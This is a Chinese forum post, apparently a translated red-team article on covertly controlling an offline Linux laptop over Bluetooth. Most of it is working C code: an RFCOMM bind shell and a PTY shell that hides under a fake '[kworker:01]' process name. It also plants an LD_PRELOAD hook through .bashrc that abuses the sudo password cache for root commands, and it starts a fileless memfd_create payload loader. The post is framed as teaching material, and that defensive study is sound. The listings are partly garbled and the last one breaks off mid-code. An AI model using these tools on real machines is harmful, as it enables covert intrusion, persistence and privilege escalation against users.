用户
搜索

该用户从未签到

i春秋作家

道格安全实验室成员

Rank: 7Rank: 7Rank: 7

8

主题

12

帖子

90

魔法币
收听
0
粉丝
2
注册时间
2017-9-25

i春秋签约作者春秋文阁

Passerby2 i春秋作家 道格安全实验室成员 i春秋签约作者 春秋文阁 楼主
发表于 2018-8-6 09:12:13 24248

基于蓝牙的交互式Shell

在“红队”练习期间,偶尔会有一个或几个需要物理访问机器的阶段。 这需要重新设计特定场景来面对这种类型。 在这篇文章中,虽然可以使用Wi-Fi和蓝牙,但是我在没有互联网连接的Linux笔记本电脑中演示了物理入侵的过程。

这篇文章主要是针对初级读者,记录并解释以下几点:

1.在具有蓝牙功能的两台设备之间如何通过RFCOMN交换信息

2.如何获取交互式shell以运行命令

3.如何滥用sudo缓存以提高权限

4.如何在内存中运行二进制文件以减少我们的跟踪

让我们开始分析每个部分。

0x00 - 简介

由于操作性质和现有的明确限制,目标机器没有连接到互联网,所以应该考虑不同的替代方案以便远程执行操作。 最简单的方法可能是提升一个小的Wi-Fi接入点并将受感染的机器和它连接。 但是,考虑到给定的场景,探索了另一种方式:通过蓝牙建立通信。

另一方面,在向Read Team建议的场景中,笔记本电脑正由一个使用一定权限的帐户但是能够使用sudo来在机器中执行管理任务的工作人员使用。

在过去的几年中,如何使用社交工程和模拟键盘和类似策略的设备在机器中运行命令已经在不同的文章中被广泛描述,这就是为什么这个信息不包含在这篇文章中。

0x01 - 通过蓝牙与攻击者连接

为简单起见,受感染机器和红队之间的信息交换是通过RFCOMM协议进行的,该协议得到了很好的支持。 对接受连接的小型服务器进行编程非常简单,因为它类似于TCP / IP的完成方式:

    #include                                              
     #include                                             
     #include                                             
    #include                                             
     #include <sys/socket.h>                                        
     #include <bluetooth/bluetooth.h>                               
     #include <bluetooth/rfcomm.h>                                  

     #define BANNER "[+] You are connected to the device!n"        

     // https://people.csail.mit.edu/albert/bluez-intro/x502.html   

     int main (int argc, char *argv[]) {                            
         int s, client;                                             

                 /*                                                         
         struct sockaddr_rc {                                       
             sa_family_t rc_family;                                 
             bdaddr_t    rc_bdaddr;                                 
             uint8_t     rc_channel;                                
         };                                                         
         */                                                         

         struct sockaddr_rc loc_addr = {0}, client_addr = {0};      
         socklen_t opt = sizeof(client_addr);                       

         s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);     

         loc_addr.rc_family = AF_BLUETOOTH;                         
         loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina                                                   
         loc_addr.rc_channel = (uint8_t) 1; // Canal 1              

         bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));   
         listen(s,1);                                               

         for(;;) {                                                  
             client = accept(s, (struct sockaddr *)&client_addr, &opt);                                                                      
             printf("[+] New connection!n");                       

             // Escribimos un mensaje al cliente que se ha conectado
             write(client, BANNER, strlen(BANNER));                 
         }                                                          
         close(client);                                             
         close(s);
         return 0;                                                          
     }

在运行此功能之前,应启用蓝牙设备以进行配对和通信:

    hciconfig hci0 piscan

配对后,我们可以与使用“BlueTerm”Android应用程序创建的服务器进行通信,以获得验证。

其他选项,可能是作为服务器的自身受损机器的更好的替代品,可以替代充当客户端。 因此,我们必须创建一个小程序,搜索任何可用的蓝牙设备,并基于一些简单的前提(例如,特定的名称或地址)并尝试连接。 然后,这是信息交换的开端。 在下面可以找到实现上述逻辑的示例:

    #include 
    #include 
    #include 
    #include <sys/socket.h>
    #include <bluetooth/bluetooth.h>
    #include <bluetooth/hci.h>
    #include <bluetooth/hci_lib.h>
    #include <bluetooth/rfcomm.h>

    // Nombre del dispotivo que queremos encontrar
    #define TARGET "Gojira"
    #define BANNER "Connected to device!n"

    // https://people.csail.mit.edu/albert/bluez-intro/c404.html

    int connect_client(char *address) {
        struct sockaddr_rc addr = {0};
        int s, client;
        s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
        addr.rc_family = AF_BLUETOOTH;
        addr.rc_channel = (uint8_t) 1;
        str2ba(address, &addr.rc_bdaddr);
        client = connect(s, (struct sockaddr*)&addr, sizeof(addr));
        if (client < 0) {
            fprintf(stderr, "[-] Error: could not connect to targetn");
            return 0;
        }
        write(s, BANNER, strlen(BANNER));
        return 1;
    }

    int main (int argc, char **argv) {
        inquiry_info *ii = NULL;
        int max_rsp, num_rsp;
        int dev_id, sock, len, flags, i;
        char addr[19] = {0};
        char name[248] = {0};

        // Utilizamos el primer bluetooth disponible
        dev_id = hci_get_route(NULL);
        sock = hci_open_dev(dev_id);
        if (dev_id < 0 || sock < 0) {
            fprintf(stderr, "[-] Error opening socketn");
            exit(EXIT_FAILURE);
        }

        len = 8;
        max_rsp = 255;

        // Limpiamos los dispositivos que puedan estar cacheados anteriormente
        flags = IREQ_CACHE_FLUSH;
        ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));

        // Bucle para escanear
        for(;;) {
            // Escaneo
    num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);
    if (num_rsp < 0) {
        fprintf(stderr, "[+] Error inquiry operationn");
        free(ii);
        exit(EXIT_FAILURE);
    }

    // Iteramos por todos los dispoitivos encontrados
    for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);
        memset(name, 0, sizeof(name));

        // Leemos el nombre de los dispositivos descubiertos
        hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);

        // Comprobamos si es el que estamos buscando
        if (strcmp(TARGET, name) == 0) {
            printf("Found! %s - %sn", name, addr);
            free(ii);
            close(sock);
            connect_client(addr);
            exit(EXIT_SUCCESS);
        }
    }

}
    }

这些示例还强调了如何使用特殊的RFCOMM来快速建立通信。 此外,控制机器不需要更多困难,因为它很容易实现。 让我们继续。

0x02 - 获取交互式shell

以下步骤是指从我们自己的移动电话或任何其他设备在机器中运行命令。 为此,我们将继续使用服务器等待机器本身连接的示例。 获取shell的最常用方法是分叉进程,使用socket作为子进程的stdin / stdout / stderr并运行命令解释器

    #include lt;stdio.h>
    #include lt;stdlib.h>
    #include lt;unistd.h>
    #include lt;signal.h>
    #include lt;string.h>
    #include lt;sys/socket.h>
    #include lt;bluetooth/bluetooth.h>
    #include lt;bluetooth/rfcomm.h>

    #define BANNER "[+] You are connected to the device!n"

    // https://people.csail.mit.edu/albert/bluez-intro/x502.html

    int main (int args, char *argv[]) {
        int s, client;
        pid_t pid;

        signal(SIGCHLD, SIG_IGN);
        /*     
        struct sockaddr_rc {
            sa_family_t rc_family;
            bdaddr_t    rc_bdaddr;
            uint8_t     rc_channel;
        }; 
        */

        struct sockaddr_rc loc_addr = {0}, client_addr = {0};
        socklen_t opt = sizeof(client_addr);

        s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

        loc_addr.rc_family = AF_BLUETOOTH;
        loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina 
        loc_addr.rc_channel = (uint8_t) 1; // Canal 1

        bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
        listen(s,1);

        for(;;) {
            client = accept(s, (struct sockaddr *)&client_addr, &opt);
            printf("[+] New connection!n");

            // Escribimos un mensaje al cliente que se ha conectado
            write(client, BANNER, strlen(BANNER));

            pid = fork();
            if (pid == 0) {
                dup2(client, 0);
                dup2(client, 1);
                dup2(client,2);
                execve("/bin/sh", NULL, NULL);
            }
        }
        close(client);
        close(s);
        return 0;
    }

以这种方式运行命令时的潜在问题可能是出现的限制,因为我们不能简单的通过使用SSH或者是vim等其他的工具轻松启动会话。

几年前,可能是由于OSCP和派生产品已经发布了大量的文章和备忘单,在其中详细说明了不同的方法,以便从有限的shell传递到真正的交互式shell。 其中一些方法是:

  • 经典的python单行程序与pty.spawn(“/ bin / bash”)'
  • 有“pty”选项的Socat
  • 期望/脚本
  • stty

如果我们有机会使用我们自己的二进制文件作为在机器中运行命令的手段,那么知道这种类型的aces总是好的...然后,为什么要将这部分留给第三方来实现这一点 被我们。

使用forkpty(),可以创建从伪终端操作的子进程,并且可以从那里运行shell。 概念的快速证明如下:

    #include 
    #include 
    #include 
    #include 
    #include 
    #include <sys/socket.h>
    #include <bluetooth/bluetooth.h>
    #include <bluetooth/rfcomm.h>
    #include 
    #include <sys/select.h>
    #include <sys/wait.h>
    #include 

    #define BANNER "[+] You are connected to the device!n"

    // https://people.csail.mit.edu/albert/bluez-intro/x502.html

    int main (int args, char *argv[]) {
        int s, client;

        signal(SIGCHLD, SIG_IGN);
        /*     
        struct sockaddr_rc {
            sa_family_t rc_family;
            bdaddr_t    rc_bdaddr;
            uint8_t     rc_channel;
        }; 
        */

        struct sockaddr_rc loc_addr = {0}, client_addr = {0};
        socklen_t opt = sizeof(client_addr);

        s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

        loc_addr.rc_family = AF_BLUETOOTH;
        loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina 
        loc_addr.rc_channel = (uint8_t) 1; // Canal 1

        bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
        listen(s,1);

        for(;;) {
            client = accept(s, (struct sockaddr *)&client_addr, &opt);
            printf("[+] New connection!n");

            // Escribimos un mensaje al cliente que se ha conectado
            write(client, BANNER, strlen(BANNER));
            dup2(client, 0);
            dup2(client, 1);
            dup2(client,2);

            //A partir de aquí empieza la magia    
            struct termios terminal;
            int terminalfd, n = 0;
            pid_t pid;
            char input[1024];
            char output[1024];

            // Creamos un nuevo proceso hijo que operará en un pseudoterminal
            pid = forkpty(&terminalfd, NULL, NULL, NULL);

            if (pid < 0) {
                fprintf(stderr, "[-] Error: could not forkn");
                exit(EXIT_FAILURE);
            }
            else if (pid == 0) { // Estamos en el proceso hijo que tiene el PTY
                execlp("/bin/zsh", "[kworker:01]", NULL); 
            }
            else { // Proceso padre
                // Atributos: sin ECHO 
                tcgetattr(terminalfd, &terminal);
                terminal.c_lflag &= ~ECHO;
                tcsetattr(terminalfd, TCSANOW, &terminal);

                // Utilizaremos select para comprobar si hay datos y enviarlos en un sentido u otro
                fd_set readfd;
                for(;;) {
                    FD_ZERO(&readfd);
                    FD_SET(terminalfd, &readfd); // Si terminalfd tiene datos
                    FD_SET(1, &readfd); // Si el socket tiene datos
                    select(terminalfd + 1, &readfd, NULL, NULL, NULL);
                    if (FD_ISSET(terminalfd, &readfd)) { // Hay datos desde el proceso hijo
                        n = read(terminalfd, &output, 1024);
                        if (n <= 0) { write(2, "[+] Shell is dead. Closing connection!nn", strlen("[+] Shell is dead. Closing connection!nn")); break; } write(2, output, n); // Los mandamos por el socket memset(&output, 0, 1024); } if (FD_ISSET(1, &readfd)) { // Hay datos en el socket memset(&input, 0, 1024); n = read(1, &input, 1024); if (n > 0) {
                            write(terminalfd, input, n); // Los escribimos en el STDIN del proceso hijo
                        }
                    }
                }

            }
        }
        close(client);
        close(s);
        return 0;
    }

针对于我们之前没有伪终端的shell的差异可以在下面的图像中清楚地看到:

基于蓝牙的交互式Shell

通过这些快速基础知识,我们可以通过蓝牙创建一个小型二进制启用机器控制。让我们继续我们的旅程

0x03 - 通过sudo缓存提升权限

虽然在前面的部分中,我们专注于概述通过蓝牙实现控制的概念验证,但理想情况下我们的程序应该以尽可能最大的权限运行。可以使用的最古老的技术之一是利用sudo缓存来运行命令或我们自己的二进制文件。

默认情况下,当终端首次运行sudo时,需要用户密码。但是,此密码在一段时间内被缓存,阻止用户在每次使用sudo执行任务时引入它。如果我们在执行sudo的终端中重复运行我们自己的二进制文件,则很容易滥用此功能。因此,我们希望找到一个时间窗口,其中密码被缓存而不是请求,方便最终可以执行sudo。

实现上述事实的最简单方法是编辑文件.bashrc(或等效,如果使用任何其他shell)并将环境变量LD_PRELOAD添加到我们的一个库中。这就是我们如何在该shell中运行的动态链接二进制文件中预加载我们的库。在预加载我们的库时,我们可以自由地挂钩通常用于运行的任何函数。因此,每次调用此函数时,我们的一个负责人员应检查是否缓存了凭据:如果是这种情况,将开始所需的操作集。

重要提示:我们不是在sudo中加载我们的库(因为它包含suid),我们真正在做的是将它加载到其他二进制文件中,以便每当运行调用的函数时,检查我们是否可以在不注册密码的情况下执行sudo 。

作为一个简单的概念证明,我们可以使用以下示例表示工作流程:

            #define _GNU_SOURCE                                                                                             
    #include                                                                                               
    #include                                                                                              
    #include                                                                                               
    #include <sys/stat.h>                                                                                           
    #include                                                                                               
    #include                                                                                              
    #include <sys/wait.h>                                                                                           
    //Basado en https://blog.maleadt.net/2015/02/25/sudo-escalation/                                                
    typedef int (*orig_open_f_type) (const char *pathname, int flags);                                              

    int open(const char *pathname, int flags, ...){ // A modo de ejemplo "hookearemos" open()                                                                
        orig_open_f_type orig_open;                                                                                 
        pid_t pid, extrapid;                                                                                        
        int empty, exitcode;                                                                                        

        orig_open = (orig_open_f_type) dlsym(RTLD_NEXT, "open"); // Guardamos una referencia a la función open original                                                    

        pid = fork(); // Nos forkeamos para comprobar si sudo se encuentra cacheado o no                          
        if (pid == 0) { //Si estamos en el hijo...    
            empty = orig_open("/dev/null", O_WRONLY);                                                               
            dup2(empty, STDERR_FILENO); // ...silenciamos cualquier error...                                                           
            execlp("sudo", "sudo", "-n", "true", NULL);// ...y ejecutamos sudo                                        
            exit(-1);                                                                                               
        } else {   // Estamos en el padre...
            wait(&exitcode);                                                                                        
            if (WIFEXITED(exitcode) && WEXITSTATUS(exitcode) == 0) {                                                
                if (exitcode == 0){ // Si todo ha ido bien y hemos podido ejecutar sudo...                                          
                    extrapid = fork(); //Nos forkeamos para dejar fluir el programa                               
                    if (extrapid == 0) {                                                                            
                        printf("It worked!n"); // Y ejecutamos lo que queramos                                         
                        execlp("sudo", "sudo", "id", NULL);                                                         
                    }                                                                                               
                }  
            }      
        }          
        return orig_open(pathname, flags); // Llamamos al open() original y devolvemos el resultado                                     
    }

0x04 - 在内存中运行二进制文件

理想情况下,应使用模块形式设计,以减少受损笔记本电脑中的轨道,在机器中托管只需要执行连接的最小骨架,可能提供外壳,并留下剩余的有用负载,例如,可以通过蓝牙在内存中上传的小有效负载。然后,如果如果进行分析,则不知道实际容量。

从内核3.17开始,我们依靠一个名为“memfd_create”的新系统调用,它可以收集与内存关联的文件描述符。这样,执行文件操作,尽管这些操作没有链接到文件系统。因此,我们可以使用它来托管包含最相关代码的库或二进制文件(可通过蓝牙下载)。这就是我们应该如何处理只负责连接和下载一系列模块的骨架。

令人印象最深刻的替代方案虽然有趣,但是在/ dev / shm中下载我们的模块并在运行或加载后快速删除它们。这些想法在“加载”无文件“共享对象(memfd_create + dlopen)”帖子中有详细解释。

作为一个小概念证明,我们将结合本文所涉及的所有内容(蓝牙设备与任何特定名称检测,连接,.so下载和加载):

    #define _GNU_SOURCE
    #include <sys/socket.h>
    #include <bluetooth/bluetooth.h>
    #include <bluetooth/hci.h>
    #include <bluetooth/hci_lib.h>
    #include <bluetooth/rfcomm.h> 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <sys/utsname.h>
    #include 

    #define TARGET "Gojira"
    #define SHM_NAME "IceIceBaby"
    #define __NR_memfd_create 319 // https://code.woboq.org/qt5/include/asm/unistd_64.h.html

    // Wrapper to call memfd_create syscall
    static inline int memfd_create(const char *name, unsigned int flags) {
        return syscall(__NR_memfd_create, name, flags);
    }

    // Detect if kernel is < or => than 3.17
    // Ugly as hell, probably I was drunk when I coded it
    int kernel_version() {
        struct utsname buffer;
        uname(&buffer);

        char *token;
        char *separator = ".";

        token = strtok(buffer.release, separator);
        if (atoi(token) < 3) { return 0; } else if (atoi(token) > 3){
            return 1;
        }

        token = strtok(NULL, separator);
        if (atoi(token) < 17) {
            return 0;
        }
        else {
            return 1;
        }
    }

    // Returns a file descriptor where we can write our shared object
    int open_ramfs(void) {
        int shm_fd;

        //If we have a kernel < 3.17
        // We need to use the less fancy way
        if (kernel_version() == 0) {
            shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
            if (shm_fd < 0) { //Something went wrong <img draggable="false" class="emoji" alt="
Welcome to my blog:https://www.passer6y.fun/
没有大图?
使用道具 举报 回复
学习一下~
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册